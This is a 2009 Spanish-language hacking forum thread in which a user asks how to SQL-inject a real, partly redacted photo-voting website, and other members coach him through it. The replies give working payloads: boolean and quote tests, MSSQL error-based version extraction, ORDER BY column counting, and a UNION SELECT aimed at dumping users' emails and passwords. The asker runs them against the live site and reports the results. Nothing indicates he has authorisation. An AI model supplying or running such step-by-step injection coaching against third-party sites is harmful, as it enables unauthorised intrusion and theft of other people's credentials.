Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: Skeletron en 29 Octubre 2009, 04:35 am



Título: Ayuda con idea para Inyeccion SQL
Publicado por: Skeletron en 29 Octubre 2009, 04:35 am
Hola GENTE..
Resulta que tengo una web donde se ejecuta una URL algo asi:
http://www.xxxxxxxx.com.ar/puntaje.asp?UsuarioID=5623

Esa URL muestra en un tablita, los datos de los PUNTAJES que tiene ese usuario.. La web es una web donde podes votar a los usuarios del 1 al 10 si la foto es linda o no (no es sexyono.. es parecida)

Resulta que la web tiene un XSS GIGANTEZCO TAMBIEN!!!.... donde puedo eter CUALQUIER CARACTER!!... (en otro valor.. de un mensaje)

La cuestion, es que seguramente esta haciendo un: SELECT XXXX FROM nombretabla Where ID='UsuarioID'
O no????
Bueno.. la idea es... que podria meterle de UsuarioID para probar si tengo la inyeccion SQL???
Alguna recomendacion?


Título: Re: Ayuda con idea para Inyeccion SQL
Publicado por: WHK en 29 Octubre 2009, 04:41 am
hola, primero debes entender el lenguaje SQL y saber ejecutar querys, si no conoces eso entonces por mas respuestas que te pueda ir diciendo no servirá de mucho.

intenta con
puntaje.asp?UsuarioID=5623 and 1=1
puntaje.asp?UsuarioID=5623 and 1=2
puntaje.asp?UsuarioID=5623' and 1='1
puntaje.asp?UsuarioID=5623' and 1=1 --+

http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.15.html


Título: Re: Ayuda con idea para Inyeccion SQL
Publicado por: OzX en 30 Octubre 2009, 02:00 am
Hi Bro
Es posible que sea MSSQL, no significa que por ser asp tiene q ser mssql, pero en el "comun" de los casos asi es.

A input agregale lo siguiente
UsuarioID=5623

UsuarioID=5623+and+1=convert(int,@@version)--
o
UsuarioID=5623+'and+1=convert(int,@@version)--

Si te tira la version de mssql es vulerable claramente aunque¡
es posible que sea vulnz a blind.

de todas formas intentad poner una comillas y ve si te muestra algun error.
y si no prova como decia WHK con +and+1=0 y +and+1=1 .

Saludps¡


Título: Re: Ayuda con idea para Inyeccion SQL
Publicado por: Skeletron en 30 Octubre 2009, 19:00 pm
puntaje.asp?UsuarioID=5623 and 1=1
puntaje.asp?UsuarioID=5623 and 1=2
puntaje.asp?UsuarioID=5623' and 1='1
puntaje.asp?UsuarioID=5623' and 1=1 --+
La web es así:
El usuario X tiene X puntaje, y le han dado un total de X votos y tiene un Promedio de X

Con la 1º opcion, todos los datos aparecen perfectamente..
Con la 2º opcion, dice: El usuario tiene puntaje, y le han dado un total de votos y tiene un Promedio de (o sea... es como que no toma nada la base de datos... como si el SELECT devolviese NADA
Con  la 3º y 4º opcion, da error la pagina...
Me parece que hay inyeccion del modo de la 2º opcion.. o me equivoco?


Título: Re: Ayuda con idea para Inyeccion SQL
Publicado por: WHK en 30 Octubre 2009, 22:43 pm
entonces sigues...

puntaje.asp?UsuarioID=5623 order by 999
puntaje.asp?UsuarioID=5623 order by 1

y así y ves hasta que numero te da error.
supongamos que
puntaje.asp?UsuarioID=5623 order by 10 - no da error pero
puntaje.asp?UsuarioID=5623 order by 11 - si da error
entonces el número de columnas es 10 y haces
puntaje.asp?UsuarioID=-1 union select 1,2,3,4,5,6,7,8,9,10

y el numero que te muestre en pantalla a ese le das las funciones user() database() etc etc.

Esto es mysql, recuerda como dijo ozx si es mssql no te va a funcionar de la misma manera.

por ejemplo
puntaje.asp?UsuarioID=-1 union select 1,votos,user,mail,pass,6,7,8,9,10 from usuarios


Título: Re: Ayuda con idea para Inyeccion SQL
Publicado por: OzX en 31 Octubre 2009, 00:13 am
mira
mejor hacer lo siguiente
asp?input=12'
agregale 1 sola comilla. y postea el resultado del error. por si te lanzo uno.

es recomendable no sacar el valor de los inputs.

el sql union en mssql es valor, pero es muxo mas facil generar errores por conversion. cast o convert.

Saludos¡


Título: Re: Ayuda con idea para Inyeccion SQL
Publicado por: Skeletron en 1 Noviembre 2009, 02:29 am
Problemas...
Id=838 ORDER BY 20 no da error.. y no da error hasta Id=838 ORDER BY 159...
pero el error que da, esta controlado... dirije a una www.xxx.com/xxx-xxxxx-error.asp donde da un aviso:
 Error
No se pudo completar la operación:

Se produjo un error al intentar ejecutar la operación.

Lamentamos el inconveniente. A la brevedad será solucionado.

Aguarde unos instantes y, si desea volver a ejecutar la operación, haga click en el boton "Reintentar". Si el problema persiste haga click en el botón "Reiniciar".
Opciones de navegación



Lo mismo si pongo solamente la comilla despues de ID...


Título: Re: Ayuda con idea para Inyeccion SQL
Publicado por: OzX en 1 Noviembre 2009, 03:50 am
si te redireciona al poner una comilla
significa que tiene algo q no me acuerdo como se llama de IIS para controlar los errores.
no creo que puedas explotar nada.

Saludos¡